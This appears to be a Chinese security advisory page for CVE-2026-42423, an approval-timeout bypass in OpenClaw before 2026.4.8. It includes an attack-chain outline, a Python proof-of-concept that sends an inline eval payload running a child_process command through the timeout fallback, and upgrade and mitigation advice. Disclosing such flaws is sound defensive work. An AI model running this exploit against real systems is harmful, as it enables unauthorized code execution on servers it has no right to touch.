IPBUF安全漏洞报告
English
CVE-2026-42423 CVSS 7.5 高危

CVE-2026-42423 OpenClaw审批绕过致代码执行

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-42423
漏洞类型
权限绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限绕过远程代码执行OpenClawCVE-2026-42423

漏洞概述

OpenClaw 在 2026.4.8 之前的版本中存在审批超时回退机制的安全漏洞。该漏洞允许攻击者绕过 `strictInlineEval` 的显式审批要求。通过利用网关和节点执行主机上的超时回退机制,攻击者可以执行本应需要管理员显式批准的 inline eval 命令。此漏洞破坏了预期的安全边界,可能导致攻击者在低权限下实现远程代码执行,严重影响系统的机密性、完整性和可用性。

技术细节

该漏洞的根本原因在于 OpenClaw 处理 `strictInlineEval` 审批流程时的逻辑缺陷。当系统配置为要求对内联评估命令进行显式审批时,设计上包含一个超时回退机制。在受影响版本中,该回退机制未能正确维持安全策略,导致当审批请求因超时或其他原因触发回退时,系统错误地允许了命令的执行,而非拒绝。攻击者只需拥有低权限账户(PR:L),即可通过网络向网关或节点执行主机发送特制的恶意请求。通过操纵请求以触发超时条件,攻击者可以绕过原本的显式审批安全边界,直接执行任意代码。这使得攻击者能够在目标系统上获得执行权限,进一步进行横向移动、数据窃取或破坏服务。

攻击链分析

STEP 1
步骤1:获取低权限访问
攻击者获取 OpenClaw 系统的低权限用户凭证或会话令牌。
STEP 2
步骤2:构造恶意请求
攻击者构造包含恶意 inline eval 命令的 API 请求,旨在执行任意系统代码。
STEP 3
步骤3:触发超时回退
攻击者发送请求,利用系统处理审批请求时的超时回退机制缺陷。
STEP 4
步骤4:绕过审批执行
系统未要求显式审批即执行了恶意代码,导致攻击者获得服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit concept for CVE-2026-42423: OpenClaw Approval Timeout Bypass # Description: This script simulates triggering the strictInlineEval bypass # by sending a request that relies on the timeout fallback mechanism. TARGET_URL = "http://target-openclaw-instance/api/exec" # Malicious command to execute via inline eval PAYLOAD = "eval(require('child_process').exec('whoami').toString())" def exploit(): session = requests.Session() headers = { "Content-Type": "application/json", # Authentication header for low-priv user "Authorization": "Bearer <low_priv_token>" } data = { "command": "inline_eval", "args": PAYLOAD, # Setting a flag or condition that triggers the fallback logic "force_timeout": True } print(f"[+] Sending payload to {TARGET_URL}...") try: # In the vulnerable version, the command executes despite strictInlineEval response = session.post(TARGET_URL, json=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Exploit successful! Command executed via timeout fallback.") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit()

影响范围

OpenClaw < 2026.4.8

防御指南

临时缓解措施
建议立即将 OpenClaw 升级至 2026.4.8 或更高版本。如果无法立即升级,应暂时禁用 inline eval 功能,或在防火墙层面严格限制对执行端口的访问,仅允许受信任的 IP 地址连接。同时,管理员应检查日志,确认是否已有攻击者利用此漏洞进行入侵。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表